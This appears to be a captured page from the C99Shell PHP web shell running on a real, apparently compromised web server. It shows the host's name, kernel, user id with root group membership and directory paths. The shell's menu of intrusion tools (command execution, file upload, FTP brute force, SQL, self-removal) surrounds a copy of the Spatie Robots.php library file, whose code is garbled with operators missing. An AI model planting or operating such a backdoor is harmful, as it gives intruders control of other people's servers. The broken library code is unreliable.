!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/robots-txt/src/   drwxr-xr-x
Free 28.89 GB of 117.98 GB (24.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Robots.php (2.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Robots;

use 
InvalidArgumentException;

class 
Robots
{
    protected 
RobotsTxt null $robotsTxt;

    public function 
__construct(
        protected 
string null $userAgent null,
        
RobotsTxt string null $source null,
    ) {
        if (
$source instanceof RobotsTxt) {
            
$this->robotsTxt $source;
        } elseif (
is_string($source)) {
            
$this->robotsTxt RobotsTxt::readFrom($source);
        } else {
            
$this->robotsTxt null;
        }
    }

    public function 
withTxt(RobotsTxt string $source): self
    
{
        
$this->robotsTxt $source instanceof RobotsTxt
                                
$source
                                
RobotsTxt::readFrom($source);

        return 
$this;
    }

    public static function 
create(string $userAgent nullstring $source null): self
    
{
        return new 
self($userAgent$source);
    }

    public function 
mayIndex(string $urlstring $userAgent null): bool
    
{
        
$userAgent $userAgent ?? $this->userAgent;

        
$robotsTxt $this->robotsTxt ?? RobotsTxt::create($this->createRobotsUrl($url));

        
$content = @file_get_contents($url);

        if (
$content === false) {
            throw new 
InvalidArgumentException("Could not read url `{$url}`");
        }

        return
            
$robotsTxt->allows($url$userAgent)
            && 
RobotsMeta::create($content)->mayIndex()
            && 
RobotsHeaders::create($http_response_header ?? [])->mayIndex();
    }

    public function 
mayFollowOn(string $url): bool
    
{
        
$content = @file_get_contents($url);

        if (
$content === false) {
            throw new 
InvalidArgumentException("Could not read url `{$url}`");
        }

        return
            
RobotsMeta::create($content)->mayFollow()
            && 
RobotsHeaders::create($http_response_header ?? [])->mayFollow();
    }

    protected function 
createRobotsUrl(string $url): string
    
{
        
$robotsUrl parse_url($urlPHP_URL_SCHEME).'://'.parse_url($urlPHP_URL_HOST);

        if (
$port parse_url($urlPHP_URL_PORT)) {
            
$robotsUrl .= ":{$port}";
        }

        return 
"{$robotsUrl}/robots.txt";
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--